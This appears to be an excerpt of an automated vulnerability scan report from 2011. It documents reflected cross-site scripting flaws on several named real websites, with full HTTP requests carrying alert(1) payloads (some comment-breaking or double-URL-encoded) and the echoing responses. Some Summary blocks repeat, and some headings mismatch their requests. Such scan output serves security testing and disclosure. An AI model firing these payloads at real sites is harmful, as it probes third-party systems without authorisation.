<input type=hidden name=lost value="/architecture/togaf8-doc/arch/banner1.htmb06e9"><script>alert(1)</script>c339ed24d73">
...[SNIP]...

3.140. http://www.opengroup.org/architecture/togaf8-doc/arch/toc2.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.opengroup.org
Path:	/architecture/togaf8-doc/arch/toc2.html

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.opengroup.org
Path:	/architecture/togaf8-doc/arch/toc2.html

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.opengroup.org
Path:	/architecture/togaf8-doc/arch/toc2.html

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.opengroup.org
Path:	/architecture/togaf8-doc/arch/toc2.html

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /architecture/togaf8-doc/arch/toc2.html45f60--><script>alert(1)</script>50e39303b85 HTTP/1.1
Host: www.opengroup.org
Proxy-Connection: keep-alive
Referer: http://www.opengroup.org/architecture/togaf8-doc/arch/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=30649185.1298915328.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=TOGAF; __utma=30649185.357493113.1298915328.1298915328.1298915328.1; __utmc=30649185; __utmb=30649185.5.10.1298915328

Response

HTTP/1.1 404 Not Found
Date: Mon, 28 Feb 2011 17:52:22 GMT
Server: Apache/1.3.37 (Unix) PHP/4.4.4
Content-Type: text/html
Content-Length: 5249

<html>
<head>
<title>Not found</title>
<link rel="stylesheet" href="https://www.opengroup.org/stylesheets/info1.css">
</head>
<link href="/stylesheets2/opengroup.css" rel="stylesheet" type="text/css">
...[SNIP]...
<script>alert(1)</script>50e39303b85 -->
...[SNIP]...

3.151. http://www.opengroup.org/architecture/togaf8-doc/arch/toc2.html [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.opengroup.org
Path:	/architecture/togaf8-doc/arch/toc2.html

Request

GET /architecture/togaf8-doc/arch/toc2.htmlc201c<script>alert(1)</script>1e4c0cf0ddd HTTP/1.1
Host: www.opengroup.org
Proxy-Connection: keep-alive
Referer: http://www.opengroup.org/architecture/togaf8-doc/arch/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=30649185.1298915328.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=TOGAF; __utma=30649185.357493113.1298915328.1298915328.1298915328.1; __utmc=30649185; __utmb=30649185.5.10.1298915328

Response

HTTP/1.1 404 Not Found
Date: Mon, 28 Feb 2011 17:52:19 GMT
Server: Apache/1.3.37 (Unix) PHP/4.4.4
Content-Type: text/html
Content-Length: 5240

<html>
<head>
<title>Not found</title>
<link rel="stylesheet" href="https://www.opengroup.org/stylesheets/info1.css">
</head>
<link href="/stylesheets2/opengroup.css" rel="stylesheet" type="text/css">
...[SNIP]...
<br>
http://www.opengroup.org/architecture/togaf8-doc/arch/toc2.htmlc201c<script>alert(1)</script>1e4c0cf0ddd<br>
...[SNIP]...

3.152. http://www.opengroup.org/architecture/togaf8-doc/arch/welcome.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.opengroup.org
Path:	/architecture/togaf8-doc/arch/welcome.html

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.opengroup.org
Path:	/architecture/togaf8-doc/arch/welcome.html

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /architecture/togaf8-docf63af--><script>alert(1)</script>21768ec9add/arch/welcome.html HTTP/1.1
Host: www.opengroup.org
Proxy-Connection: keep-alive
Referer: http://www.opengroup.org/architecture/togaf8-doc/arch/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=30649185.1298915328.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=TOGAF; __utma=30649185.357493113.1298915328.1298915328.1298915328.1; __utmc=30649185; __utmb=30649185.5.10.1298915328

Response

HTTP/1.1 404 Not Found
Date: Mon, 28 Feb 2011 17:52:19 GMT
Server: Apache/1.3.37 (Unix) PHP/4.4.4
Content-Type: text/html
Content-Length: 5258

<html>
<head>
<title>Not found</title>
<link rel="stylesheet" href="https://www.opengroup.org/stylesheets/info1.css">
</head>
<link href="/stylesheets2/opengroup.css" rel="stylesheet" type="text/css">
...[SNIP]...
<script>alert(1)</script>21768ec9add/arch/welcome.html -->
...[SNIP]...

3.157. http://www.opengroup.org/architecture/togaf8-doc/arch/welcome.html [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.opengroup.org
Path:	/architecture/togaf8-doc/arch/welcome.html

Request

GET /architecture/togaf8-doc900bf"><script>alert(1)</script>c420b677f70/arch/welcome.html HTTP/1.1
Host: www.opengroup.org
Proxy-Connection: keep-alive
Referer: http://www.opengroup.org/architecture/togaf8-doc/arch/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=30649185.1298915328.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=TOGAF; __utma=30649185.357493113.1298915328.1298915328.1298915328.1; __utmc=30649185; __utmb=30649185.5.10.1298915328

Response

HTTP/1.1 404 Not Found
Date: Mon, 28 Feb 2011 17:52:13 GMT
Server: Apache/1.3.37 (Unix) PHP/4.4.4
Content-Type: text/html
Content-Length: 5255

<html>
<head>
<title>Not found</title>
<link rel="stylesheet" href="https://www.opengroup.org/stylesheets/info1.css">
</head>
<link href="/stylesheets2/opengroup.css" rel="stylesheet" type="text/css">
...[SNIP]...
<input type=hidden name=lost value="/architecture/togaf8-doc900bf"><script>alert(1)</script>c420b677f70/arch/welcome.html">
...[SNIP]...

3.158. http://www.opengroup.org/architecture/togaf8-doc/arch/welcome.html [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.opengroup.org
Path:	/architecture/togaf8-doc/arch/welcome.html

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.opengroup.org
Path:	/architecture/togaf8-doc/arch/welcome.html

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.opengroup.org
Path:	/events/sponsor-exhibit.htm

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /events1cf72--><script>alert(1)</script>d544780bb6c/sponsor-exhibit.htm HTTP/1.1
Host: www.opengroup.org
Proxy-Connection: keep-alive
Referer: http://www.opengroup.org/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=30649185.1298915328.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=TOGAF; __utma=30649185.357493113.1298915328.1298915328.1298915328.1; __utmc=30649185; __utmb=30649185.3.10.1298915328

Response

HTTP/1.1 404 Not Found
Date: Mon, 28 Feb 2011 17:51:09 GMT
Server: Apache/1.3.37 (Unix) PHP/4.4.4
Content-Type: text/html
Content-Length: 5155

<html>
<head>
<title>Not found</title>
<link rel="stylesheet" href="https://www.opengroup.org/stylesheets/info1.css">
</head>
<link href="/stylesheets2/opengroup.css" rel="stylesheet" type="text/css">
...[SNIP]...
<script>alert(1)</script>d544780bb6c/sponsor-exhibit.htm -->
...[SNIP]...

3.167. http://www.opengroup.org/events/sponsor-exhibit.htm [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.opengroup.org
Path:	/events/sponsor-exhibit.htm

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.opengroup.org
Path:	/favicon.ico

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.opengroup.org
Path:	/member/

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /member55638--><script>alert(1)</script>939d930983d/ HTTP/1.1
Host: www.opengroup.org
Proxy-Connection: keep-alive
Referer: http://www.opengroup.org/events/sponsor-exhibit.htm
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=30649185.1298915328.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=TOGAF; __utma=30649185.357493113.1298915328.1298915328.1298915328.1; __utmc=30649185; __utmb=30649185.4.10.1298915328

Response

HTTP/1.1 404 Not Found
Date: Mon, 28 Feb 2011 17:51:14 GMT
Server: Apache/1.3.37 (Unix) PHP/4.4.4
Content-Type: text/html
Content-Length: 5150

<html>
<head>
<title>Not found</title>
<link rel="stylesheet" href="https://www.opengroup.org/stylesheets/info1.css">
</head>
<link href="/stylesheets2/opengroup.css" rel="stylesheet" type="text/css">
...[SNIP]...
<script>alert(1)</script>939d930983d/ -->
...[SNIP]...

3.175. http://www.opengroup.org/togaf/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.opengroup.org
Path:	/togaf/

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.opengroup.org
Path:	/togaf9/cert/

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /togaf99edeb--><script>alert(1)</script>120de7a4391/cert/ HTTP/1.1
Host: www.opengroup.org
Proxy-Connection: keep-alive
Referer: http://www.opengroup.org/togaf/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=30649185.1298915328.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=TOGAF; __utma=30649185.357493113.1298915328.1298915328.1298915328.1; __utmc=30649185; __utmb=30649185.1.10.1298915328

Response

HTTP/1.1 404 Not Found
Date: Mon, 28 Feb 2011 17:52:00 GMT
Server: Apache/1.3.37 (Unix) PHP/4.4.4
Content-Type: text/html
Content-Length: 5125

<html>
<head>
<title>Not found</title>
<link rel="stylesheet" href="https://www.opengroup.org/stylesheets/info1.css">
</head>
<link href="/stylesheets2/opengroup.css" rel="stylesheet" type="text/css">
...[SNIP]...
<script>alert(1)</script>120de7a4391/cert/ -->
...[SNIP]...

3.179. http://www.opengroup.org/togaf9/cert/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.opengroup.org
Path:	/togaf9/cert/

Request

GET /togaf94fa9b<script>alert(1)</script>23835d6a4f/cert/ HTTP/1.1
Host: www.opengroup.org
Proxy-Connection: keep-alive
Referer: http://www.opengroup.org/togaf/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=30649185.1298915328.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=TOGAF; __utma=30649185.357493113.1298915328.1298915328.1298915328.1; __utmc=30649185; __utmb=30649185.1.10.1298915328

Response

HTTP/1.1 404 Not Found
Date: Mon, 28 Feb 2011 17:51:57 GMT
Server: Apache/1.3.37 (Unix) PHP/4.4.4
Content-Type: text/html
Content-Length: 5113

<html>
<head>
<title>Not found</title>
<link rel="stylesheet" href="https://www.opengroup.org/stylesheets/info1.css">
</head>
<link href="/stylesheets2/opengroup.css" rel="stylesheet" type="text/css">
...[SNIP]...
<br>
http://www.opengroup.org/togaf94fa9b<script>alert(1)</script>23835d6a4f/cert/<br>
...[SNIP]...

3.180. http://www.opengroup.org/togaf9/cert/ [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.opengroup.org
Path:	/togaf9/cert/

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.sti-cs.com
Path:	/Portfolio/Trades-and-Exhibits/id-24/page-1/

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /Portfolio/Trades-and-Exhibits/id-24c8e9b%253c%252fscript%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea1374672bac/page-1/ HTTP/1.1
Host: www.sti-cs.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=249072581.1298752883.1.1.utmcsr=thedetroitbureau.com|utmccn=(referral)|utmcmd=referral|utmcct=/about-us/; __utma=249072581.1903656466.1298752883.1298752883.1298757236.2; __utmc=249072581; __utmb=249072581.1.10.1298757236;

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 23:18:55 GMT
Server: Apache/2.2.14 (Unix) FrontPage/5.0.2.2635
X-Powered-By: PHP/5.2.13
Connection: close
Content-Type: text/html
Content-Length: 14545

...

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
<HTML>
   <HEAD>
<title>Trades and Exhibits :: STI - Creative Services</title>

<script type="text/javascript" language="javascript
...[SNIP]...
s.com/admin/imageproject/22940b.jpg';

           portfolio25[1][1]='Awards Logo design';

           portfolio25[1][2]='22940b.jpg';

           portfolio25[1][3]='229';

           portfolio25[1][4]='25';


var CurrentPageId='24c8e9b</script><script>alert(1)</script>a1374672bac';
</script>
...[SNIP]...

3.188. http://www.sti-cs.com/Portfolio/Trades-and-Exhibits/id-25/page-1/ [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.sti-cs.com
Path:	/Portfolio/Trades-and-Exhibits/id-25/page-1/

Remediation detail

Request

GET /Portfolio/Trades-and-Exhibits/id-2598f92%253c%252fscript%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e4b72cc82878/page-1/ HTTP/1.1
Host: www.sti-cs.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=249072581.1298752883.1.1.utmcsr=thedetroitbureau.com|utmccn=(referral)|utmcmd=referral|utmcct=/about-us/; __utma=249072581.1903656466.1298752883.1298752883.1298757236.2; __utmc=249072581; __utmb=249072581.1.10.1298757236;

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 23:19:02 GMT
Server: Apache/2.2.14 (Unix) FrontPage/5.0.2.2635
X-Powered-By: PHP/5.2.13
Connection: close
Content-Type: text/html
Content-Length: 14545

...

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
<HTML>
   <HEAD>
<title>Trades and Exhibits :: STI - Creative Services</title>

<script type="text/javascript" language="javascript
...[SNIP]...
s.com/admin/imageproject/22940b.jpg';

           portfolio25[1][1]='Awards Logo design';

           portfolio25[1][2]='22940b.jpg';

           portfolio25[1][3]='229';

           portfolio25[1][4]='25';


var CurrentPageId='2598f92</script><script>alert(1)</script>4b72cc82878';
</script>
...[SNIP]...

3.189. http://www.sti-cs.com/Portfolio/Trades-and-Exhibits/id-7/page-1/ [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.sti-cs.com
Path:	/Portfolio/Trades-and-Exhibits/id-7/page-1/

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/css/print.css

Remediation detail

Request

GET /assets/css/print.css291e9'-alert(1)-'67bdd5c1b7a?20101008 HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response (redirected)

HTTP/1.1 404 Not Found
Date: Sun, 27 Feb 2011 01:37:31 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
ETag: "0-en-23e31667bc72ad97513a3b9a533cce89"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13816

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<![CDATA[
       function checkReferrer(){
           var vref_string = encodeURIComponent('173.193.214.243::0::http://www.watchmouse.com/en/::print.css291e9'-alert(1)-'67bdd5c1b7a?20101008');
           var serverRef = encodeURIComponent('http://www.watchmouse.com/en/');
           if(document && document.referrer){
               jsRef = encodeURIComponent(document.referrer);
           }else{
               jsRef = '';

...[SNIP]...

3.193. http://www.watchmouse.com/assets/css/screen.css [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/css/screen.css

Remediation detail

Request

GET /assets/css/screen.css8adcd'-alert(1)-'6e92d57bec8?20101008 HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response (redirected)

HTTP/1.1 404 Not Found
Date: Sun, 27 Feb 2011 01:37:32 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
ETag: "0-en-b162fa23d063abe27d39c6c2ca59435b"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13826

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<![CDATA[
       function checkReferrer(){
           var vref_string = encodeURIComponent('173.193.214.243::0::http://www.watchmouse.com/en/::screen.css8adcd'-alert(1)-'6e92d57bec8?20101008');
           var serverRef = encodeURIComponent('http://www.watchmouse.com/en/');
           if(document && document.referrer){
               jsRef = encodeURIComponent(document.referrer);
           }else{
               jsRef = '';

...[SNIP]...

3.194. http://www.watchmouse.com/en/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/

Remediation detail

Request

GET /en3c623'-alert(1)-'83954da49c1/ HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response (redirected)

HTTP/1.1 404 Not Found
Date: Sun, 27 Feb 2011 01:36:45 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
ETag: "0-en-014c46aed482ac19cb678104562d803c"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13508

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<![CDATA[
       function checkReferrer(){
           var vref_string = encodeURIComponent('173.193.214.243::0::::en3c623'-alert(1)-'83954da49c1');
           var serverRef = encodeURIComponent('');
           if(document && document.referrer){
               jsRef = encodeURIComponent(document.referrer);
           }else{
               jsRef = '';
           }
           requestParams = 'vjsRef='+jsRef
...[SNIP]...

3.195. http://www.watchmouse.com/en/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/

Remediation detail

Request

GET /en/?41203'-alert(1)-'2f529518186=1 HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 27 Feb 2011 01:36:29 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
ETag: "0-en-fff3e345c354e49d8e0d897a110c3ceb"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 18498

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<![CDATA[
       function checkReferrer(){
           var vref_string = encodeURIComponent('173.193.214.243::0::::?41203'-alert(1)-'2f529518186=1');
           var serverRef = encodeURIComponent('');
           if(document && document.referrer){
               jsRef = encodeURIComponent(document.referrer);
           }else{
               jsRef = '';
           }
           requestParams = 'vjsRef='+jsR
...[SNIP]...

3.196. http://www.watchmouse.com/en/api/checkreferrer.php [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/api/checkreferrer.php

Remediation detail

Request

GET /en/api/checkreferrer.phpa0d30'-alert(1)-'ef346e3dbf0?vjsRef=&vref_string=173.193.214.243%3A%3A0%3A%3A%3A%3Aen&vserverRef= HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/
X-Requested-With: XMLHttpRequest
Accept: text/html, */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1298770635.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=165779128.1798479609.1298770635.1298770635.1298770635.1; __utmc=165779128; __utmb=165779128.1.10.1298770635

Response

HTTP/1.1 404 Not Found
Date: Sun, 27 Feb 2011 01:37:20 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
ETag: "0-en-f7f299238f15fb232758e7723cf59eb8"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 14505

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<![CDATA[
       function checkReferrer(){
           var vref_string = encodeURIComponent('173.193.214.243::0::http://www.watchmouse.com/en/::checkreferrer.phpa0d30'-alert(1)-'ef346e3dbf0?vjsRef=&vref_string=173.193.214.243%3A%3A0%3A%3A%3A%3Aen&vserverRef=');
           var serverRef = encodeURIComponent('http://www.watchmouse.com/en/');
           if(document && document.referrer){
               jsRef = encode
...[SNIP]...

3.197. http://www.winamp.com/media-player/en [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.winamp.com
Path:	/media-player/en

Remediation detail

Request

GET /media-player/en5c2b5"%3b5abe0529ac9 HTTP/1.1
Host: www.winamp.com
Proxy-Connection: keep-alive
Referer: http://forums.winamp.com/login.php?do=login
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UNAUTHID=1.f2ed797a429811e090debf3ab4450fde.215b; CUNAUTHID=1.f2ed797a429811e090debf3ab4450fde.215b; s_pers=%20s_getnr%3D1298828671740-New%7C1361900671740%3B%20s_nrgvo%3DNew%7C1361900671741%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Daolwinamp%252Caolsvc%253D%252526pid%25253Dwna%25252520%2525253A%25252520winamp.com-forums%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.winamp.com/media-player%252526ot%25253DA%3B; countryCookie=US

Response

HTTP/1.1 200 OK
Date: Sun, 27 Feb 2011 17:45:19 GMT
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Content-Length: 46245

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" xmlns:og="h
...[SNIP]...
ryCode = "US";
var playerType = "";
var storeUrlGB = "http://shop.winamp.com/store/winamp/en_GB/buy/productID.103591500/quantity.1/ThemeID.1279300";
var storeBundleUrlGB = "null";
